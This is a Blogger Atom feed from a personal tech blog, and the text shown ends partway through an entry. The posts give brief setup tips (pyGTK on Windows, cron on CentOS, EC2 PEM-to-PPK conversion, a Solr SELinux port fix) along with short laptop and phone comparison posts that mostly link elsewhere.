<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4056600558769970290</id><updated>2026-03-02T13:15:08.128-08:00</updated><category term="Windows"/><category term="Linux"/><category term="Programming"/><category term="Fun"/><category term="Hacks"/><category term="Perl"/><category term="Did you know"/><category term="Orkut"/><category term="Tweaking"/><category term="PHP"/><category term="Server"/><category term="Compaq Presario"/><category term="Virus Removal"/><category term="Security"/><category term="Formats and Specifications"/><category term="HTML"/><category term="Networking"/><category term="ASCII Art"/><category term="CSS"/><category term="Console Story"/><category term="Feature Review"/><category term="VB"/><category term="BASH"/><category term="Dataone"/><category term="Facebook"/><category term="Image Processing"/><category term="Software"/><category term="cPanel"/><category term="Assembly"/><category term="Broadband"/><category term="Snaps"/><category term="Sony Vaio"/><category term="VC++"/><category term="amazon"/><category term="iPod"/><title type='text'>the Digital me</title><subtitle type='html'>74 68 65 20 64 69 67 69 74 61 6C 20 6D 65 &lt;br&gt;&#xa;It just means &quot;the digital me&quot; (written in hex)</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>155</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-6757194048376035548</id><published>2012-03-30T07:56:00.000-07:00</published><updated>2012-03-30T07:57:31.134-07:00</updated><title type='text'>Installing pyGTK, pypango and pycairo on Windows 64bit</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
To install pygtk, pypango and pycairo on Windows,&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Download 64bit GTK libraries from the gtk website &lt;a href=&quot;http://www.gtk.org/download/win64.php&quot;&gt;http://www.gtk.org/download/win64.php&lt;/a&gt;, Download the all-in-one zip file. 
&lt;/li&gt;
&lt;li&gt;Extract it to &lt;pre&gt;C:\gtk&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Add the path &lt;pre&gt;C:\gtk\bin&lt;/pre&gt; to environment path&lt;/li&gt;
&lt;li&gt;Download 64bit versions of pygobject, pygtk and py2cairo from &lt;a href=&quot;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pygtk&quot;&gt;http://www.lfd.uci.edu/~gohlke/pythonlibs/#pygtk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Double click and install all the exes&lt;/li&gt;
&lt;/ul&gt;

That&#39;s it. &lt;br/&gt;
Hope this helps everyone stuck installing &lt;b&gt;pypango, pycairo, pyGTK&lt;/b&gt;.
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/6757194048376035548/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/6757194048376035548' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/6757194048376035548'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/6757194048376035548'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2012/03/installing-pygtk-pypango-and-pycairo-on.html' title='Installing pyGTK, pypango and pycairo on Windows 64bit'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-1819160447442893952</id><published>2011-11-11T05:28:00.001-08:00</published><updated>2011-11-11T05:28:55.956-08:00</updated><title type='text'>Teamviewer SourceCode C++</title><content type='html'>Team viewer is a remote desktop sharing program that allows you to view remote desktops. Its source is in C++ and is available at&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;a href=&quot;http://www.teamviewer.com/download/TeamViewer_Source.zip&quot; rel=&quot;external nofollow&quot;&gt;http://www.teamviewer.com/download/TeamViewer_Source.zip&lt;/a&gt;&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
Enjoy !!!</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/1819160447442893952/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/1819160447442893952' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/1819160447442893952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/1819160447442893952'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2011/11/teamviewer-sourcecode-c.html' title='Teamviewer SourceCode C++'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-7614734502498191423</id><published>2011-11-03T03:21:00.000-07:00</published><updated>2011-11-03T03:25:56.926-07:00</updated><title type='text'>Install Crontab on Cent OS 5</title><content type='html'>Crontab would not be installed by default on CentOS 5 custom installation, as happened with my new prgmr.com server. So to install cron you would do a yum search cron and you are not quiet sure what to install. &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;To install crontab on centos&lt;/h2&gt;&lt;br /&gt;&lt;pre class=&quot;code&quot;&gt;&lt;br /&gt;yum install -y vixie-cron.x86_64&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Vixie cron is the cron software on CentOS 5.&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;The Vixie cron daemon for executing specified programs at set times.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Now you should be able to do crontab -e to add your cron.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Starting crontab&lt;/h2&gt;&lt;br /&gt;&lt;pre class=&quot;code&quot;&gt;&lt;br /&gt;sudo /etc/init.d/crond start&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now the cron tasks should be executed at the specified times.</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/7614734502498191423/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/7614734502498191423' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7614734502498191423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7614734502498191423'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2011/11/install-crontab-on-cent-os-5.html' title='Install Crontab on Cent OS 5'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-2020779278319497905</id><published>2011-10-17T20:17:00.000-07:00</published><updated>2011-10-17T20:29:01.235-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="amazon"/><title type='text'>Convert Amazon EC2 PEM files to PPK</title><content type='html'>So you just set up a keypair in Amazon EC2 and got a PEM file, Now how do you login to using Putty ?&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;How to login to Amazon EC2 using Putty&lt;/h2&gt;&lt;br /&gt;Open Puttygen, if you dont have puttygen, you can get it for download at &lt;a href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&quot;&gt;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_daJzTOfXyWqbyKKESveEM29GBZyD2sVnmIqYpnx7rsumJZNv5xOOAX4WvBta3NtnLaggjcrmfqAyDvMKBlJaMftTik62I1h_PUJYEnTmAmfri6gK-efIQAZim2N6na_IeKzRaDHh38M/s1600/amazon-ec2-pem-putty.png&quot; alt=&quot;Amazon EC2 Import PEM using Putty&quot;/&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;br /&gt;Now click Conversions &gt; Import. &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Choose your PEM file that was downloaded from the Amazon EC2 dashboard&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Click on Save Private Key and name it something .ppk&lt;br /&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIy0_QhHLhFyhxAPPc_yabphWhgc0pq7lkHqdsb4jwoVUCBMfzjNd7KjXiYEGcDolt6Lx-XI_sDNkeEdnl45wJwxIqTgqatww3eg98UMycvqVh8Ul9ushjfnRlXF4YDzbjjnlr2npXzTo/s1600/amazon-ec2-pem-convert-ppk.png&quot; alt=&quot;Convert Amazon PEM file to PPK file&quot; /&gt;&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Voila, use your ppk to login through Putty to your Amazon EC2 Instance&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/2020779278319497905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/2020779278319497905' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2020779278319497905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2020779278319497905'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2011/10/convert-amazon-ec2-pem-files-to-ppk.html' title='Convert Amazon EC2 PEM files to PPK'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_daJzTOfXyWqbyKKESveEM29GBZyD2sVnmIqYpnx7rsumJZNv5xOOAX4WvBta3NtnLaggjcrmfqAyDvMKBlJaMftTik62I1h_PUJYEnTmAmfri6gK-efIQAZim2N6na_IeKzRaDHh38M/s72-c/amazon-ec2-pem-putty.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-2966869903724356502</id><published>2011-10-15T00:34:00.000-07:00</published><updated>2011-10-15T00:37:21.842-07:00</updated><title type='text'>Solve Failed to query Solr using &#39;*:*&#39;: [Errno 13] Permission denied</title><content type='html'>This error is created mostly on a CentOs / similar linux operating systems with SELinux On.&lt;br /&gt;&lt;br /&gt;By default SELinux does not allow you to listen on non standard http ports such  as 8983 in which SOLR listens on. To fix this run the following command as root:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;semanage port -a -t http_port_t -p tcp 8983&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This adds the 8983 port to http list. This should solve the Permission denied message when querying SOLR.&lt;br /&gt;&lt;br /&gt;Restart SOLR / Applications.&lt;br /&gt;&lt;br /&gt;This should solve &lt;strong&gt;Failed to query Solr using &#39;*:*&#39;: [Errno 13] Permission denied&lt;/strong&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/2966869903724356502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/2966869903724356502' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2966869903724356502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2966869903724356502'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2011/10/solve-failed-to-query-solr-using-errno.html' title='Solve Failed to query Solr using &#39;*:*&#39;: [Errno 13] Permission denied'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-3076718638612640826</id><published>2011-05-19T11:48:00.000-07:00</published><updated>2011-05-19T11:49:08.735-07:00</updated><title type='text'>Installing g++ on Amazon EC2 Small Instance</title><content type='html'>To install you have to run the following command:&lt;br /&gt;&lt;pre class=&quot;code&quot;&gt;sudo yum groupinstall &quot;Development Tools&quot;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Phew!</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/3076718638612640826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/3076718638612640826' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/3076718638612640826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/3076718638612640826'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2011/05/installing-g-on-amazon-ec2-small.html' title='Installing g++ on Amazon EC2 Small Instance'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-8573246925583578073</id><published>2010-12-14T19:45:00.000-08:00</published><updated>2010-12-14T19:49:18.895-08:00</updated><title type='text'>Compare Dell Inspiron Laptop vs Sony Vaio</title><content type='html'>&lt;img src=&quot;http://digitalpbk.com/files/blog_images/dell-inspiron-14r-sony-vaio-vpccw26fg.jpg&quot; alt=&quot;Compare dell inspiron laptop with sony vaio laptop&quot; title=&quot;Compare dell inspiron laptop with sony vaio laptop&quot;/&gt;. &lt;br /&gt;&lt;br /&gt;Are you consider buying a laptop? See the following post for a comparsion between the latest Dell and Sony laptops. &lt;A href=&quot;http://digitalpbk.com/sony-vaio/dell-inspiron-laptop-14r-vs-sony-vaio-vpccw26fg-laptop&quot;&gt;Compare dell inspiron laptop with sony vaio laptop&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/8573246925583578073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/8573246925583578073' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8573246925583578073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8573246925583578073'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/12/compare-dell-inspiron-laptop-vs-sony.html' title='Compare Dell Inspiron Laptop vs Sony Vaio'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-2462752764937130026</id><published>2010-08-10T09:26:00.000-07:00</published><updated>2010-08-10T09:28:43.857-07:00</updated><title type='text'>Sony Vaio F and CW series recalled due to heat problem VPCCW26FG</title><content type='html'>&lt;span style=&quot;font-weight:bold;&quot;&gt;Sony &lt;/span&gt;has recalled half a million laptops of its CW and F series due to a potential &lt;span style=&quot;font-weight:bold;&quot;&gt;overheat&lt;/span&gt; problem. &lt;img src=&quot;http://digitalpbk.com/files/imagecache/thumbnail/blog_images/sony-vaio-looks.jpeg&quot; alt=&quot;Sony Vaio F and CW series recalled due to heat problem VPCCW26FG&quot; title=&quot;Sony Vaio F and CW series recalled due to heat problem VPCCW26FG&quot;/&gt;&lt;br /&gt;&lt;br /&gt;See &lt;a href=&quot;http://digitalpbk.com/sony-vaio-recall/sony-vaio-f-and-cw-series-recalled-due-heat-problem-vpccw26fg&quot;&gt;More&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/2462752764937130026/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/2462752764937130026' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2462752764937130026'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2462752764937130026'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/08/sony-vaio-f-and-cw-series-recalled-due.html' title='Sony Vaio F and CW series recalled due to heat problem VPCCW26FG'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-4490077968457909947</id><published>2010-06-12T08:47:00.000-07:00</published><updated>2010-06-12T08:50:50.898-07:00</updated><title type='text'>Nokia E63 versus E71 a feature comparison</title><content type='html'>&lt;img src=&quot;http://digitalpbk.com/files/blog_images/nokia-e63-front-back.jpg&quot; alt=&quot;nokia e63 vs e71 comparison&quot;/&gt;&lt;br /&gt;&lt;br /&gt;Nokia E63, E71, E72 etc are business type phones (or blackberry like) introduced by Nokia. Main features are full QWERTY keyboard and a long battery life. However there are some key differences in between Nokia E63 and the E71. &lt;br /&gt;&lt;br /&gt;Head over to &lt;a href=&quot;http://digitalpbk.com/hardware/compare-nokia-e71-vs-e63-smartphone&quot;&gt;Compare Nokia E71 vs E63 Smartphone&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/4490077968457909947/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/4490077968457909947' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/4490077968457909947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/4490077968457909947'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/06/nokia-e63-versus-e71-feature-comparison.html' title='Nokia E63 versus E71 a feature comparison'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-7484931330190296044</id><published>2010-05-11T21:57:00.000-07:00</published><updated>2010-05-11T21:57:11.801-07:00</updated><title type='text'>Official Google Blog: Search is getting more social</title><content type='html'>&lt;a href=&quot;http://googleblog.blogspot.com/2010/01/search-is-getting-more-social.html&quot;&gt;Official Google Blog: Search is getting more social&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/7484931330190296044/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/7484931330190296044' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7484931330190296044'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/7484931330190296044'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/05/official-google-blog-search-is-getting.html' title='Official Google Blog: Search is getting more social'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-5425463099929132805</id><published>2010-05-11T11:08:00.000-07:00</published><updated>2010-05-11T11:09:19.176-07:00</updated><title type='text'>Google search goes social with Social Search Results - The Facebook effect ?</title><content type='html'>Is google moving towards a social networking side ?&lt;br /&gt;Google is slowly adding the &quot;Social&quot; aspect to all its products. After launching Buzz on Gmail, &quot;Social Results&quot; aspect in &quot;Google Search&quot; results too reveals this trend. &lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://digitalpbk.com/google/google-search-social-results-beta&quot;&gt;Read more on Google search goes social with Social Search Results - The Facebook effect ?&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/5425463099929132805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/5425463099929132805' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/5425463099929132805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/5425463099929132805'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/05/google-search-goes-social-with-social.html' title='Google search goes social with Social Search Results - The Facebook effect ?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-1855572900071401653</id><published>2010-04-16T00:33:00.000-07:00</published><updated>2010-04-16T00:40:43.080-07:00</updated><title type='text'>Taggle.com Coming Soon</title><content type='html'>&lt;img style=&quot;float: left;&quot; alt=&quot;Taggle com coming soon&quot; title=&quot;Taggle&quot; src=&quot;http://www.taggle.com/images/taggle-bars.png&quot;/&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.taggle.com/&quot;&gt;&lt;img src=&quot;http://www.taggle.com/images/logo.png&quot;&gt;&lt;/a&gt; &lt;br&gt;&lt;br /&gt; &lt;b style=&quot;font-size: 15px;&quot;&gt;Coming soon to add excitement to your life!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br style=&quot;clear:both&quot;/&gt;&lt;br /&gt;&lt;br /&gt;Taggle.com is coming soon to change your lifestyle. Get ready to start Taggling! &lt;br /&gt;&lt;br /&gt;:)</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/1855572900071401653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/1855572900071401653' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/1855572900071401653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/1855572900071401653'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/04/tagglecom-coming-soon.html' title='Taggle.com Coming Soon'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-805269154282498882</id><published>2010-04-05T23:56:00.001-07:00</published><updated>2010-04-06T00:08:58.056-07:00</updated><title type='text'>Using HDMI Port to connect your laptop To TV</title><content type='html'>HDMI port can be used to play High Definition Video on your TV. New TV models like the LG Scarlet support HDMI ports which is the new standard that interconnects video devices. &lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://digitalpbk.com/files/imagecache/thumbnail/blog_images/laptop-to-tv-using-hdmi-port.jpg&quot; alt=&quot;Using HDMI Port to connect your laptop To TV&quot; title=&quot;Using HDMI Port to connect your laptop To TV&quot;/&gt;&lt;br /&gt;&lt;br /&gt;HDMI having a bandwidth of about 10 Gbps, can support transfer of real time HD Videos (1080p).&lt;br /&gt;&lt;br /&gt;See more on &lt;a href=&quot;http://digitalpbk.com/hdmi/connect-laptop-tv-using-hdmi-port&quot;&gt;Conencting TV to Laptop using HDMI&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://digitalpbk.com/help/hdmi-cable-buying-guide&quot;&gt;HDMI Cable Buying Guide&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/805269154282498882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/805269154282498882' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/805269154282498882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/805269154282498882'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/04/using-hdmi-port-to-connect-your-laptop.html' title='Using HDMI Port to connect your laptop To TV'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-8937347508415291196</id><published>2010-04-05T04:01:00.000-07:00</published><updated>2010-04-05T04:19:31.855-07:00</updated><title type='text'>Lighter free social bookmarking Javascript</title><content type='html'>Social Media Buttons help you share the content on bookmarking websites such as Stumble Upon, Reddit or Digg or social networking Websites such as Facebook or Twitter. Adding the buttons helps you to expose your content to a broader audience.&lt;br /&gt;There are lots of social media button providers such as AddThis or ShareThis. I think it is overloaded with features that makes your page load slow as well as bring in unintentional 3rd party javascript code ( or flash tracker ) which runs on your blog.&lt;br /&gt;&lt;br /&gt;So it is always safe to use your own script or scripts which you can read understand and verify it just does what it is suppose to do.&lt;br /&gt;&lt;br /&gt;See &lt;a href=&quot;http://digitalpbk.com/javascript/free-light-small-social-media-sharing-javascript-facebook-twitter-stumble-upon-digg-and-r&quot;&gt;Free Light weight Social media sharing javascript &lt;/a&gt; for more code and details.</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/8937347508415291196/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/8937347508415291196' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8937347508415291196'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/8937347508415291196'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/04/lighter-free-social-bookmarking.html' title='Lighter free social bookmarking Javascript'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4056600558769970290.post-2234097962823790450</id><published>2010-02-23T19:25:00.000-08:00</published><updated>2010-02-23T19:28:48.445-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Sony Vaio"/><title type='text'>Sony Vaio VPCCW26FG</title><content type='html'>Sony has introduced a new Laptop in its CW Series, Sony Vaio VPCCW26FG. &lt;br /&gt;Looks stylish and has good configuration... Check out my posts on my new blog... &lt;br /&gt;&lt;a href=&quot;http://digitalpbk.com/hardware/compare-sony-vaio-cw-vpccw26fg-versus-vs-apple-macbook-white&quot;&gt;Sony Vaio VPCCW26FG vs Macbook White&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://digitalpbk.blogspot.com/feeds/2234097962823790450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4056600558769970290/2234097962823790450' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2234097962823790450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4056600558769970290/posts/default/2234097962823790450'/><link rel='alternate' type='text/html' href='http://digitalpbk.blogspot.com/2010/02/sony-vaio-vpccw26fg.html' title='Sony Vaio VPCCW26FG'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 